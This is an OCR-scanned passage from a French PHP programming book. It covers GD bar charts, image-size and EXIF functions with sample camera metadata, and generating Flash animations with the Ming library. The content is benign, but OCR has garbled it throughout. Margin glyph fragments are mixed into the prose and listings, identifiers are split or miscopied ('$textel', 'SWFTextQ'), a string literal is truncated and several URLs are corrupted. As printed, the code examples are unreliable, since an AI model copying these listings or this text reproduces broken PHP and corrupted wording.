0, 0, $1 argeurBarre, $hauteurBarre, 90); 
imageDestroy ($imageBarre) ; 

imageStringUp($image, 3, $x, $hauteur-17, $valeurs[$i*2+l] , 
urldecode($rouge)) ; 

} 

imagePNG($image) ; 
imageDestroy ($fondBarre) ; 
imageDestroy ($image) ; 



Pour rendre l'effet souhaite, il va nous falloir agrandir l'image qui nous servira a dessiner les 
rectangles, puis copier cette image sur l'image de fond. II faudra, en outre, preserver l'effet de 
transparence defini dans l'image servant pour les rectangles. 

Tout d'abord, nous avons cree une image TrueColor' puis recopie la partie de l'image de fond 
afin de pouvoir recreer par la suite l'effet de transparence. 

Ensuite, nous devons preciser l'utilisation des couches alpha, puis copier sur cette image un 
agrandissement du fond des rectangles. 

II ne reste plus qu'a coller cette image sur l'image de fond, en utilisant eventuellement, comme 
ici, un autre effet de transparence. 

Nous avons egalement ecrit verticalement les libelles des batons. 
Au final, voici ce que Ton obtient pour l'appel suivant : 
gd_histo4.php?60;vin;39.6;biere;2.4;spiritueux;8.6;cidre 

Figure 13.27 : 



'3 httpitflocalhosUBiblePhPsc... QtHlE 




Etape 4 

cl3-histo4.php?60;vin;39.6;biere;2.4;spirituewc;8.6;cidre 



0) . 

=. r- 

3 CD 

3 -. 

j? 3 

CO <a 

CD 

Tl CO 

O) CD 
CO — 

CD - 

CO 
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Recuperer des informations sur un fichier image 

II existe d'autres fonctions ne faisant pas partie de la bibliotheque gd, mais permettant de 
recuperer des informations sur les fichiers images. 

C'est tout d'abord la fonction getimagesize ( ) . 



getImageSize() 

Retourne la taille et le type d'une image. 



Syntaxe array getImageSize(string $nomFichier [, array $info]) 

$nomFichier Nom du fichier image. 

retour Tableau indexe contenant : 

a l'index 0, la largeur de l'image (en pixels), 
a l'index I, la hauteur de l'image (en pixels). 

a l'index 2, le code du format de l'image (1 = GIF, 2 = JPG, 3 = PNG, 4 = 
SWF, 5 = PSD, 6 = BMP, 7 = TIFF (ordre des octets intel), 8 = TIFF 
(ordre des octets motorola), 9 = JPC, 10 = JP2, 11 = JPX). 

JS a l'index 3, une chaine de caracteres width=" . . " height=" ..." 

■5 % 

GO L|_ 
03 

O) jo 

CO = 

E -2 
— cu 

GO c 
03 t 



pouvant etre directement integree dans une balise <img>. 



Recuperer des informations EXIF sur un fichier image 

D'autres fonctions non originaires de la bibliotheque gd mais exif permettent de recuperer 
des informations sur les fichiers images. Les informations EXIF sont generalement inscrites 
dans les images prises par des appareils photo numeriques. On peut retrouver dans ces 
informations la resolution, l'ouverture, la focale... Ces donnees varient d'un constructeur a 
1'autre. 



Installation 

Sous Windows 

Avec I 'archive du PHP Group 

Vous devrez vous assurer d'avoir le fichier php_exif.dll (livre dans l'archive PHP distribute par 
le PHP Group) dans votre repertoire contenant les extensions PHP, et ajouter ou 
decommenter une ligne 

extension=php_exi f .dl 1 
AvecEasyPHP 

Avec EasyPHP, le support d'EXIF est active automatiquement. 
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Sous Linux 

Vous devrez simplement recompiler PHP avec l'option — enable-exif . 

Verification 

Vous pouvez verifier le succes de l'operation avec un script contenant simplement la ligne 
<?php phpinf o ( ) ; ?> qui devra afficher : 

^ I Figure 13.28 : 



EXIF Support 


enabled 


EXIF Version 


1 .2 


Supported EXIF Version 


El 00 


Supported file types 


JFEG.TIFF 



phpinfo() 



Utilisation 



exif_imageiype 



Permet de determiner le type d'une image. 

Syntaxe int exit imageType(stri ng $nomFi chi er) o, *•> 

=. i- 

$nomFichier Nom et chemm du fichier image a etudier. 3 g> 

cj 

retour Type de l'image. o 3 

3 a) 

IMAGETYPE_GIF (= 1) au format GIF. 00 *g 

IMAGETYPE_JPG (= 2) au format JPEG. % 

IMAGETYPE_PNG (= 3) au format PNG. =■ — 

IMAGETYPE_SWF ( = 4) au format SWF. ™ 

IMAGETYPE_PSD (= 5) au format PSD. 

IMAGETYPE_BMP (= 6) au format BMP. 

IMAGETYPE_TIFF_II (= 7) au format TIFF II. 

IMAGETYPE_TIFF_MM (= 8) au format TIFF MM. 

IMAGETYPE_JPC (= 9) au format JPC. 

IMAGETYPE_JP2 (= 10) au format JP2. 

IMAGETYPE_JPX (= 11) au format JPX. 



exif_read_data() 

Cette fonction permet de lire l'en-tete EXIF d'une image JPEG ou TIFF. (Disponible depuis 
PHP 4.2.0). 

Syntaxe array exi f_read_data (string $nomFichier [, string 

$informations [, boolean $tableaux [, boolean $thumbnai 1]]] ) 

$nomFichier Nom du fichier image (ne peut pas etre une URL) . 
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$i reformations 



$tabl eaux 



$thumbnai 1 
retour 



Liste des informations (separees par des virgules) que vous souhaitez 
extraire. 

FILE : Des informations sur le fichier de l'image (voir exemple) 
COMPUTED : Des informations sur la taille de l'image entre autre. 

ANY_TAG 
IFDO 

THUMBNAIL : Toutes les informations sur l'apercu d'image. 

COMMENT : Eventuel commentaire sur la photo 

EXIF : Donnees concernant essentiellement les photos numeriques. 

TRUE si vous souhaitez que les informations soient regroupees par theme 
dans des tableaux, FALSE (par defaut) sinon. Les informations portant des 
noms pouvant creer des conflits seront quoi qu'il arrive regroupees dans 
des tableaux. 

TRUE si la fonction doit lire le thumbnail (vignette), FALSE sinon. 
Tableau associatif. 



Voici un exemple qui permet de lire tout l'en-tete hormis l'apercu : 



Listing 13.27 : exiM.php 



CO 
03 

■s j 

CO II 
CD 

ro = 

E -2 

— CO 

CO c 

cu £= 



<?php 

$fichier=" adrien.jpg"; 
$exif Infos = read_exif_data($fichier) ; 
echo $fi chier. " :<br />\n"; 
foreach($exifInfos as $cle=>$info) { 
if($cle == "Thumbnai 1 ") { 

$file = fopen( "thumbnai l","wb"); 

fwrite($file, $info); 

fclose($file); 

echo "<img src= ' thumbnai 1 1 /xbr />\n"; 
} else { 

echo "$cle: $info<br />\n"; 



} 

?> 




Figure 13.29 : 

Photo de test : adrien.jpg 



Voici ce qui est retourne dans le cas de cette photo (l'imagette a ete retiree) 



adrien.jpg: 

FILE.FileName: adrien.jpg 
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FILE.FileDateTime: 1027957704 
FILE.FileSize: 561805 
FILE.FileType: 2 
FILE.MimeType: image/jpeg 

FILE.SectionsFound: ANY_TAG , IFDO, THUMBNAIL, EXIF, MAKERNOTE 

COMPUTED.html: width=" 1440" height="2160" 

COMPUTED. Height: 2160 

COMPUTED. Width: 1440 

COMPUTED. IsColor: 1 

COMPUTED . ByteOrderMotorol a : 

COMPUTED. CCDWidth: 15mm 

COMPUTED. ExposureTime: 0.017 s (1/60) 

COMPUTED. ApertureFNumber: f/4.5 

COMPUTED. User-Comment: 

COMPUTED. UserCommentEncoding: UNDEFINED 

COMPUTED. Thumbnai 1 .FileType: 2 

COMPUTED. Thumbnail .MimeType: image/jpeg 

COMPUTED. Thumbnail .Height: 160 

COMPUTED. Thumbnail .Width: 120 

IFDO. Make: Canon 

IFDO. Model: Canon EOS D30 

IFDO. Orientation: 1 

IFDO.XResolution: 180/1 ^ 
IFDO.YResolution: 180/1 M 
IFDO.ResolutionUnit: 2 2. £■ 

IFDO.DateTime: 2001:12:25 06:35:11 1 ^. 

IFDO.YCbCrPositioning: 1 5" 3 

IFDO.Exif_IFD_Pointer: 196 3 «= 

THUMBNAIL. Compression: 6 2 « 

THUMBNAIL. XResolution: 180/1 % ^ 

THUMBNAIL. YResolution: 180/1 g 
THUMBNAIL. Resol uti onUni t : 2 
THUMBNAIL. JPEGInterchangeFormat: 1244 
THUMBNAIL. JPEGInterchangeFormatLength: 7537 
«ICI NOUS AURIONS L'IMAGETTE» 
EXIF.ISOSpeedRatings: 100 
EXIF.ExifVersion: 0200 

EXIF.DateTimeOriginal : 2001:12:25 06:35:11 

EXIF.DateTimeDigitized: 2001:12:25 06:35:11 

EX IF. Component sConfigurat ion: [1] 

EXIF.ShutterSpeedValue: 387114/65536 

EXIF.ApertureValue: 284416/65536 

EXIF.ExposureBiasValue: 0/6 

EXIF. Focal Length: 85/1 

EXIF.UserComment: 

EXIF.FlashPixVersion: 0100 

EXIF.ColorSpace: 1 

EXIF.ExiflmageWidth: 1440 

EXIF.ExiflmageLength: 2160 

EXI F. Focal PI aneXResol uti on : 1440000/595 

EXI F. Focal PI aneYResol ution : 2160000/892 

EXI F . Focal PI aneResol uti onUni t : 2 
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MAKERNOTE . ModeArray : Array 

MAKERNOTE . Undef i nedTag : 0x0002 : Array 

MAKERNOTE. Imagelnfo: Array 

MAKERNOTE. ImageType: IMG:E0S D30 JPEG 

MAKERNOTE. Fi rmwareVersi on : Firmware Version 00.00 

MAKERNOTE. ImageNumber: 1979721 

MAKERNOTE. OwnerName: 

MAKERNOTE. Camera: 422051855 

MAKERNOTE. CustomFuncti ons : Array 

Bien entendu, ces informations ne sont valables que pour cet appareil photo CANON EOS 
D30). Pour un autre appareil photo, les informations fournies seront probablement differentes, 
et cela sera encore plus vrai pour une autre marque d'appareil photo. 



exif_thumbnail() 

contenu dans l'en-tete EXIF s'il y en a un. 

string exi f_thumbnai 1 (stri ng $nomFichier[, int &$largeur[, 
&$hauteur]]) 

Nom du fichier dont vous souhaitez extraire l'apercu. 

Reference vers la variable $ 1 argeur ; cette variable sera assignee par la 
valeur de la largeur de l'image. 

Reference vers la variable $hauteur ; cette variable sera assignee par la 
valeur de la hauteur de l'image. 

Apercu de l'image (thumbnail). 



13.2. Les animations Flash 

Comme vous le savez certainement, il est possible, grace a la technologie Flash de Macromedia, 
de realiser des animations multimedias interactives. Ces animations peuvent etre integrees 
dans une page web, pour peu que le navigateur integre l'extension (plugin) ad hoc. Ces 
animations sont generalement construites une fois pour toutes, a partir d'un logiciel 
proprietaire. Mais, grace aux bibliotheques dont dispose PHP, il est possible de generer ces 
animations au vol, ce qui permettra (meme si ce n'est pas vraiment le cas dans les exemples 
suivants) de faire des animations qui varient en fonction du temps, de l'utilisateur, ou de tout 
autre parametre dont le serveur aura connaissance. 

Pour parvenir a ce resultat, PHP propose un bibliotheque appelee Ming qui, bien que 
consideree comme experimentale, fonctionne deja a merveille (il lui manque quand meme 
encore quelques fonctionnalites). 



Retourne 1 apercu 
Syntaxe 



CO 
03 

"5 $nomFichier 

2 $1 argeur 
at £2 
ca = 
E .2 

~ co $hauteur 

03 £ 



retour 
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Installation 

La bibliotheque Ming est disponible aussi bien sous Windows que sous Linux. 

Sous Windows 
Avec l'archive du PHP Group 

Vous devrez vous assurer d'avoir le fichier php _ming.dll (livre dans l'archive PHP distribute par 
le PHP Group) dans votre repertoire contenant les extensions PHP, et ajouter ou 
decommenter une ligne 

extension=php_ming.dl 1 

Avec EasyPHP 

Avec EasyPHP, le support de la bibliotheque Ming est active automatiquement. 

Sous Linux 

Dans un premier temps, vous devrez vous procurer les sources de la bibliotheque. Celles-ci sont 
disponibles a l'adresse http://ming.sourceforge.net / (mais egalement sur le CD-ROM fourni). 

Vous pourrez alors (par exemple, sous le repertoire /usr/Iocal/src/lib) taper les commandes 3 S> 

suivantes : ~ 3 

= &> 

CO <a 

# gunzip ming-0.2a.tgz ti ™ 

# tar xvf ming-0.2a.tar g| 2. 

CD™ 

CO 

afin de decompresser les sources. 

# cd ming-0.2a 

# make 

Vous voila maintenant avec un fichier libming.so. 
Copiez libming.so sous lusrllocalllib. 

# cp libming.so /usr/1 ocal /I ib/. 
Copiez ming.h sous /usr/local/include. 

# cp ming.h /usr/local/include/. 

Puis, vous devez recompiler PHP avec l'option — with-ming=/usr/iocai . 

Probleme d 'installation et Apache 

~ Si la librairie est mal installee, vous aurez certainement des messages du genre "child 

REMARQJE exit signal segmentation faulf dans le fichier de trace des erreurs d'Apache. 
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Verification 



Vous pouvez vous assurer du bon deroulement de l'operation d'installation en executant un 
simple script <?php phpinf o ( ) ; ?> devant afficher : 



Ming SWF output library 


the fuhk ir your trunk 


Version 


0.2a 



Figure 13.30 

phpinf o() 



V) 
03 

■s j 

C/3 II 
03 

Ol « 

TO = 

E -2 

— CO 

CO c 

03 C 

'E 

■ cu 



Utilisation 

Comme tout type d'animation, les animations Flash sont composees d'une serie de vues (en 
anglais, frames), et c'est la succession de ces vues qui donne la sensation de mouvement. 

Chacune de ces vues contient un dessin "complexe", realise par la superposition de couches 
contenant des dessins "elementaires". On pourra ainsi avoir un arriere-plan, un plan principal, 
un premier plan, etc. 

Par defaut, chaque nouvelle vue contiendra l'ensemble des dessins de la vue precedente (ce qui 
evite, par exemple, de toujours redefinir l'arriere-plan). Libre ensuite au realisateur d'ajouter, 
de supprimer ou de deplacer, entre deux vues, certains elements pour que, au final, l'animation 
donne une sensation de mouvement. 

Figure 13.31 : 

Exemple d'une courte animation 

Notez toutefois que le deroulement de l'animation n'est pas necessairement lineaire. Comme 
Ton peut introduire de l'interactivite, il est a tout moment possible de revenir a une vue 
precedente ou de sauter a une tout autre vue. 

Le schema de base 

L'animation Flash pourra, au choix, etre directement envoyee au navigateur ou stockee dans un 
fichier. 

Ainsi, la creation d'un animation compte trois actions principales : 

Creation d'un objet Animation (ou Film) par instanciation de l'objet SWFMovie() (qui ne 
necessite aucun parametre). 

Creation des objets qui vont constituer l'animation, et association a l'objet Animation. 

Appel a la methode output ( ) de V 'objet Animation pour un envoi direct au navigateur, ou 
appel a la methode save ( $nomFichier ) de 1' objet Animation pour une sauvegarde de 
l'animation dans un fichier. 



SWFMovie 

Instancie un objet animation Flash. 
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Syntaxe SWFMovie SWFMovie(int $version) 

$ vers i on Numero de version de Flash. Par defaut 4. 

retour Objet SWFMovie. 



SWFMovie->output() 

Envoie le code de l'animation directement au navigateur. 
Syntaxe int output (void) 

retour La signification du code retour n'est pas connue. 



SWFMovie->save() 

Sauve le code de l'animation dans un fichier. 

Syntaxe int save (string $nomFichier) _i 

$nomFichier Nom du fichier de sauvegarde de l'animation. = 1— 

retour La signification du code retour n'est pas connue. En cas d'erreur, le script m 

leve une erreur de type "fatale" et s'arrete. ° ^ 

co <a 

CD 

m co 

OS CD 
CO — 

CD™ 



REMARQUE 



Envoi direct au navigateur 

Si vous decidez d'envoyer directement le contenu de l'animation Flash au navigateur, *" 
vous devezfaire un appel a lafonction header ( "Content-type : application/ 
x-shockwave- flash " ) avant tout appel a la methode output (). 
Vous pouvez choisir ici entre deux regies de codage : 

Vous pouvez commencer directement le script par V appel a la fonction header ( ). 
Ainsi, d la lecture du code source, I'objectif du script sera de generer une animation 
Flash. Cependant, la contrepartie est que tout eventuel message d'erreur leve par les 
fonctions appelees apres header ( ) sera invisible, car interprete comme du code 
Flash. 

Vous pouvez egalement placer I'instruction header ( ) juste avant I'appel a la 
methode ou tpu t (). 



Au choix : 



<?php 

header ("Con tent -type: appl i cation/x-shockwave-fl ash") ; 
$anim = new Movie() ; 

// Construction proprement dite de 1 'animation 



1085 



Chapitre 1 3 Les images et les animations Flash 



$anim->output() ; 

?> 



ou 

<?php 

$anim = new Movie() ; 

// Construction proprement dite de 1 'animation 

header ("Con tent- type: appl i cat ion/x- shoe kwave-fl ash") ; 
$anim->output() ; 

?> 



Presentation des vues 

Une fois la creation de l'animation initialised avec l'instanciation de l'objet SWFMovie, le 
generateur est pret a composer la premiere vue. A partir de la, toutes les operations 
s'appliqueront done a la premiere vue. Une fois cette vue realisee (cf. composition des vues), il 
faut appeler la methode nextFrame ( ) de l'objet SWFMovie pour valider la vue qui vient d'etre 
creee. Cette fonction ne necessite aucun parametre, et ne retourne rien ; mais elle a egalement 
pour effet d'incrementer le compteur de vues. Ainsi, toutes les operations suivantes 
s'appliqueront non pas a la premiere, mais a la seconde vue, et ainsi de suite. 



Composition des vues 

Chaque dessin qui compose une vue est realise a partir d'objets elementaires (objets au sens 
informatique du terme). Parmi ces objets nous trouvons : 

■ Les textes ; 

Les formes "complexes" (basees sur des lignes, courbes, etc.) ; 
Les boutons ; 

Les zones de saisie de texte. 

Certains de ces objets vont utiliser d'autres objets tels que : 

■ Les polices de caracteres ; 

■ Les images ; 
Les degrades ; 




SWFMovie () ->nextFrame () 



Valide la vue en cours et passe a la creation de la suivante. 



void nextFrame(void) 



Syntaxe 
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■ Les remplissages. 

De meme, il existe d'autres objets de plus haut niveau comme : 

Les morphing ; 

■ Les sous-animations. 

Une fois instancie, l'objet pourra alors etre associe a la vue en cours par un simple appel a la 
methode add ( ) de l'objet SWFMovie. 



SWFMovie->add() 

Ajoute un objet a la vue courante de l'animation. Les objets graphiques s'empilent sur la 
couche superieure aux precedents. Autrement dit, le dernier objet ajoute se retrouve en 
premier plan. Par la suite, nous verrons qu'il est egalement possible d'ajouter des objets qui ne 
sont pas des objets graphiques. 

Syntaxe SWFDi spl ayltem add (mixed $objet) 

$objet Objet a ajouter a la "sous-animation". Ce peut etre un objet SWFText, 

SWFTextField, SWFShape, SWFMorph, SWFButton, SWF Action ou 
SWFSprite. 

retour Un objet SWFDisplayltem uniquement dans le cas des objets graphiques. 

Comme nous le verrons par la suite, cela permet de placer, transformer, 
etc. l'objet. 

II est possible d'ajouter plusieurs fois le meme objet (la meme representation graphique) et 
d'obtenir ainsi plusieurs instances de SWFDisplayltem. Ce qui permet a chacun de ces objets 
d'avoir sa propre vie. 

Les proprietes de l'animation peuvent etre definies par appel aux methodes suivantes : 



SWFMovie->setDimension () 

Determine les dimensions pour lesquelles l'animation a ete concue. II s'agit des dimensions 
"ideales", mais cela n'empechera pas l'animation d'etre affichee dans une taille superieure si on 
le lui demande (via les attributs "width" et "height" de la balise HTML par exemple). 

Syntaxe void setDimensi on (i nt $largeur, int $hauteur) 

$1 argeur Largeur ideale de l'animation, en pixels. 

$hauteur Hauteur ideale de l'animation, en pixels. 
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SWFMovie->setBackground () 

Definit la couleur de fond de l'animation. 

Syntaxe void setBackground(int $rouge, int $vert, int $bleu) 

$rouge Composante rouge de la couleur de fond. Valeur comprise entre et 255. 

$vert Composante verte de la couleur de fond. Valeur comprise entre et 255. 

$bl eu Composante bleue de la couleur de fond. Valeur comprise entre et 255. 



SWFMovie->setRate() 



Definit la vitesse de defilement de l'animation. La vitesse de defilement est toutefois 
dependante de la vitesse d'affichage et de traitement des instructions Flash. De ce fait, la vitesse 
observee peut etre plus lente que prevue, ou bien quelques vues peuvent ne pas etre affichees. 

Syntaxe void setRate (double $vi tesseDef i 1 ement) 

$vi tesseDef i 1 ement Vitesse de defilement de 1'animation en nombre d'images par seconde. 

03 

3j is Listing 13.28 : ming_01 .php 

03 

O) £ 

| o <?php 

— CO 

03 E // Cette animation Flash ne fait rien 

■ c§ // du tout 

" // 

// Ce script presente simpl ement 

// la structure classique d'une animation Flash 

// Instanciation de l'objet animation 

$anim = new SWFMovie(); 

// Definition des principaux parametres 

// - Dimension 

// - Couleur de fond 

// - Vitesse de defilement 

$anim->setDimension(100, 100); 
$anim->setBackground(255, 255, 255); 
$anim->setRate(l) ; 

// 

// Ici, on pourrait trouver 

// une serie d'instanciations d'objets 

// disons $objetl, $objet2, etc... 

// 
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// Ensuite, on peut 
// composer la vue 1 

$anim->add($objetl) ; 
$anim->add($objet2) ; 

// Valider la vue 1 

$anim->nextFrame() ; 

// Pour eventuel 1 ement passer 

// a la composition de la vue 2. 

// 00 on pourra ajouter d'autres objets 

$anim->add($objet3) ; 
$anim->nextFrame() ; 



// Et enfin, on pourra envoyer le flux 
// directement au navigateur 
// apres 1 'avoir prevenu que ce qui suit 
// est une animation Flash 

header ("Con tent-type: appl i cation/x-shockwave-fl ash") ; 
$anim->output() ; 



3 CD 

3 1. 

5" 3 
= a> 

co <Q 

CD 



L'objettexte(Text) = * 

CO — 

Les textes s'instancient par un appel au constructeur swFText ( ) . ^ ro 



SWFText 

Objet texte. 

Syntaxe SWFText SWFText (void) 

Cet objet propose une serie de methodes permettant de definir la police qui doit etre utilisee, 
l'endroit ou doit etre positionne le texte et, evidemment, le texte qui doit etre affiche. 



SWFText->setFont() 

Precise quelle police de caracteres doit etre utilisee pour le texte qui vient. 

Syntaxe void setFont (SWFFont $police) 

$pol i ce Objet SWFFont (voir chapitre suivant). 



1089 



V) 
03 

■s I 

c/3 Li- 



ra — 

E -2 

— CO 

0} c 



Chapitre 1 3 Les images et les animations Flash 

SWFText->setHeight() 

Precise quelle hauteur la police de caracteres doit prendre pour le texte qui vient. 
Syntaxe void setHeight(int $hauteur) 

$hauteur Hauteur de la police de caracteres. L'unite de mesure est celle de 

ranimation (autrement dit en pixels si les dimensions "preconisees" pour 
ranimation sont respectees). 

SWFText->setColor() 

Precise la couleur a utiliser pour le texte qui vient. Tant qu'aucun appel a cette methode n'est 
fait, le texte est transparent. 

Syntaxe void setCol or(i nt $rouge, int $vert, int $bleu, [$alpha]) 

$rouge Composante rouge de la couleur du texte. Valeur comprise entre et 255. 

$vert Composante verte de la couleur du texte. Valeur comprise entre et 255. 

$bl eu Composante bleue de la couleur du texte. Valeur comprise entre et 255. 

$alpha Composante Alpha (transparence) de la couleur du texte. Valeur 

optionnelle, comprise entre (couleur totalement transparente) et 255 



g, u> (couleur totalement opaque). 



SWFText->moveTo() 



Positionne le texte qui vient. 

Syntaxe void moveTo(int $x, int $y) 

$x Coordonnee x du prochain texte (l'axe des abscisses est dirige de la gauche 

vers la droite). 

$y Coordonnee y du prochain texte (l'axe des ordonnees est dirige du haut 

vers le bas). 



SWFText->addString() 

Complete le texte a afficher. Le texte sera affiche avec les proprietes definies par les methodes 
vues precedemment (et appelees avant addstring ( ) ). 

Syntaxe void addString (string $texte) 

$texte Texte a ajouter a l'objet SWFText. 
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En corns de developpement 

tT ijF' // existe une methode setSpacing ( ) censee modifier I'espace entre les caracteres, 
REMARQUE mais dans la version testee, cette methode nefonctionne pas. 



Voici ce que, deja, vous pouvez faire : 

Listing 13.29 : mingtextOLphp 

<?php 

// Initialisation d'une nouvelle animation 
// a un rythme tres leger 1 image/seconde 
// pour bien detainer la scene 
$anim = new SWFMovie(); 
$anim->setDimension(100, 100); 
$anim->setBackground(255, 255, 255); 
$anim->setRate(l) ; 



// Instanciation d'un nouvel objet police 
// Avant d'executer ce script, pensez 
// a verifier que vous possedez bien 
// cette police dans votre envi ronnement 

// et que le chemin vers le fichier .fdb cj 
// est bien conforme a votre envi ronnement. =. i— 

// Sinon, vous risquez le crash de votre navigateur 3 « 

5" 3' 

Spolice = new SWFFont("ming pol ices/arial .fdb") ; 3 <a 

— CD 

OS CD 

in — 

// Creation de 1 'objet textel g 
$textel = new SWFText(); 

// Operation indispensable 

// preciser la police de caractere du texte 

$textel->setFont($pol ice) ; 



// Selection de la couleur du texte 
$textel->setColor(0, 0, 0); 

// Positionnement du texte 
$textel->moveTo(10, 10); 
$textel->setHeight(10) ; 

$textel->addString("Faire du Flash ..."); 

// Creation de 1 'objet texte2 
$texte2 = new SWFText(); 
$texte2->setFont($pol ice) ; 
$texte2->setColor(0, 0, 0); 
$texte2->moveTo(10, 30); 
$texte2->setHeight(20) ; 



1091 



Chapitre 1 3 Les images et les animations Flash 



$texte2->addStn'ng(". . . avec PHP ?"); 
$texte2->setHeight(20) ; 

// Creation de 1 1 ob jet texte3 
// centre 

$texte3 = new SWFTextQ; 
$texte3->setFont($pol ice) ; 
$texte3->setColor(0, 0, 0); 
$chaine="Finallement, c'est 
$texte3->setHeight(5) ; 

$texte3->moveTo(50-$texte3->getWidth($chaine)/2, 40) ; 
$texte3->addString($chaine) ; 



// Creation de l'objet texte4 

// avec des lettres de plus en plus grosses 

$texte4 = new SWFText(); 

$texte4->setFont($pol ice) ; 

$texte4->setColor(255, 0, 0); 

$texte4->moveTo(10, 70); 

$texte4->setHeight(10) ; 

$texte4->addString("Fa") ; 

$texte4->setHeight(20) ; 
<g $texte4->addString("ci ") ; 

— ■= $texte4->setHeight(30) ; 

" ;5 $texte4->addString("le !"); 

CD 

eo = //La premiere vue ne contiendra 

■— "■{§ // que le premier texte 

cd E $anim->add($textel) ; 

. c§ $anim->nextFrame() ; 

CO 

// Puis la seconde vue sera enrichie 
// d'un second texte 
$anim->add($texte2) ; 
$anim->nextFrame() ; 



// puis d'un troisieme 
$anim->add($texte3) ; 
$anim->nextFrame() ; 



// et le texte sera complet 
// dans la derniere vue 
$anim->add($texte4) ; 

// Bien qu'il s'agisse de la derniere vue 
// il est indispensable de faire appel 
// a nextFrame(); 
$anim->nextFrame() ; 



header ("Con tent- type: appl i cation/x-shockwave-fl ash") ; 
$anim->output() ; 

?> 
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APreciser une police de caracteres 
II n'y a pas de police par defaut. Avant d'ajouter un texte, il faut obligatoirement 
ATTENTION indiquer quelle police devra etre utilisee. 

A Couleur par defaut 

Le texte etant par defaut transparent, si vous ne voyez rien a I'ecran, c'est peut-etre 
ATTENTION tout simplement que vous avez oublie defaire un appel a la methode setColor ( ). 



L'objet champ texte (TextField) 

Les champs textes s'instancient par un appel au constructeur swFTextField( ) . 



SWFTextField 

Objet champ texte. 

Syntaxe SWFTextField SWFTextField([int $options]) 

$opti ons Parametre optionnel precisant le comportement et le rendu de l'objet. Cet 

argument peut prendre une ou des valeurs (en les combinant par 
l'operateur logique OU " | ") parmi : 

SWFTEXTFIELD_N0EDIT : champ texte non editable. 
SWFTEXTFlELD_PASSORD : champ mot de passe (les caracteres sont 
remplaces a l'affichage par des *). 

SWFTEXTF I ELD_DRAWBOX : trace le contour du champ texte. 
SWFTEXTFIELD_MULTILINE : cree un champ texte multi-ligne (selon 
les dimensions du champ texte). 

SWFTEXTF I ELD_WORDWRAP : force le retour a la ligne des mots. 
SWFTEXTFlELD_NOSELECT : champ texte que Ton ne peut pas 
selectionner (valeur par defaut). 

Cet objet propose une serie de methodes permettant de definir la police qui doit etre utilisee, 
la taille que doit avoir le champ texte, etc. 



SWFTextField->setBounds () 

Precise la largeur et la hauteur du champ texte. 

Syntaxe void setBounds (i nt $largeur, int $hauteur) 

$largeur Largeur du champ texte. 

$hauteur Hauteur du champ texte. 
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SWFTextField->setColor() 

Precise la couleur a utiliser pour le texte qui sera ajoute au champ texte. Tant qu'aucun appel 
a cette methode n'est fait, le texte est noir. 



Syntaxe void setCol or(i nt $rouge, int $vert, int $bleu, [$alpha]) 

$rouge Composante rouge de la couleur du texte. Valeur comprise entre et 255. 

$vert Composante verte de la couleur du texte. Valeur comprise entre et 255. 

$bl eu Composante bleue de la couleur du texte. Valeur comprise entre et 255. 

$alpha Composante Alpha (transparence) de la couleur du texte. Valeur 



optionnelle comprise entre (couleur totalement transparente) et 255 
(couleur totalement opaque). 

SWFTextField->setFont() 

Precise quelle police de caracteres doit etre utilisee pour le texte du champ texte. 

Syntaxe void setFont (SWFFont $police) 

$pol i ce Objet SWFFont (voir chapitre suivant). 

SWFTextField->setHeight() 

Precise quelle hauteur de police de caracteres doit etre utilisee pour le texte du champ texte. 
Syntaxe void setHeight(int $hauteur) 

$hauteur Hauteur de la police de caracteres. L'unite de mesure est celle de 

l'animation (autrement dit en pixels si les dimensions "preconisees" pour 
1'animation sont respectees). 

SWFTextField->align() 

Precise l'alignement du texte dans le champ texte. 

Syntaxe void align(int $alignement) 

$alignement $alignement peut prendre une valeur parmi : 

SWFTEXTFIELD_ALIGN_LEFT pour un alignement a gauche. 
S WFTEXTF I ELD_AL I GN_RI GHT pour un alignement a droite. 
S WFTEXTF I ELD_AL I GN_C ENTER pour un texte centre. 
SWFTEXTFIELD_ALIGN_JUSTIFY pour un texte justifie. 
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SWFTextField->setLeftMargin () 

Precise la largeur de la marge gauche (espace separant le texte du bord gauche du champ texte). 

Syntaxe void setLeftMargin(int $largeur) 

$largeur Largeur de la marge. 



SWFTextField->setRightMargin () 

Precise la largeur de la marge droite (espace separant le texte du bord droit du champ texte). 

Syntaxe void setRightMargin(int $largeur) 

$largeur Largeur de la marge. 



SWFTextField->setMargins () 



Precise la largeur des marges gauche (espace separant le texte du bord gauche du champ texte) g to 

et droite (espace separant le texte du bord droit du champ texte). S. — ■ 

o' 3 

=3 0> 

Syntaxe void setMargi ns (i nt $1 argeurGauche, int $1 argeurDroi te) «" *g 

~n co 

$1 argeurGauche Largeur de la marge gauche. g| 2. 

$1 argeurDroi te Largeur de la marge droite. So 



SWFTextField->setIndentation () 

Precise la largeur du re trait a droite de la premiere ligne du champ texte. 

Syntaxe void setIndentation(int $largeur) 

$1 argeur Largeur du retrait a droite. 



SWFTextField->setLineSpacing() 

Precise l'espacement entre deux lignes de texte du champ texte. 

Syntaxe void setLigneSpacing(int $hauteur) 

$hauteur Espacement entre deux lignes. 
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SWFTextField->addString() 

Precise ou ajoute un texte au contenu du champ texte. 

Syntaxe void addString (string $texte) 

$texte Texte a ajouter au champ texte. 

L'objet Police (Font) 

Les polices de caracteres s'instancient par un appel au constructeur swFFont. 



SWFFont 



Objet police de caracteres. 

Syntaxe SWFFont SWFFont (stri ng $fichierPol ice) 

$f i chi erPol i ce Chemin vers un fichier . Jfo/contenant les caracteristiques de la police de 



JS caracteres. 

CO LI- 
CU 

oi « 

CO 



Les polices 

M «= r *& r II n'y a pas de police fournie par defaut avec la bibliotheque Ming. II vous faudra 

S3 .E REHARQJE done soit en creervous-meme, soit en recuperer sur Internet. Par exemple a Vadresse : 

<5 http://www.opaque.net/wiki/index.php7IVIingFonts. 

II n'y a pas de methode destinee a modifier les proprietes des polices. Mais il est en revanche 
possible d'en recuperer les proprietes avec : 



SWFFont->getWidth() 

Indique la largeur qu'occupera, dans cette police, le texte indique. Comme il s'agit la de la 
largeur dans la taille par defaut, il est preferable de faire appel a la methode getwidth ( ) de 
l'objet SWFText, et seulement apres avoir appele la methode setHeight ( ) associee. 

Syntaxe int getWidth (string $texte) 

$texte Texte dont on veut mesurer la largeur dans cette police, 

retour Largeur du texte dans cette police. 
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SWFFont->getAscent() 

Retourne la distance qui separe la ligne de base du haut de la lettre la plus haute dans cette 
police (distance representee par un a dans le schema suivant). 

Syntaxe int getAscent(void) 

retour Distance qui separe la ligne de base du haut de la lettre la plus haute dans 

cette police. 



SWFFont->getDescent() 

Retourne la distance qui separe la ligne de base du bas de la lettre descendant le plus bas dans 
cette police (distance representee par un a dans le schema suivant). 

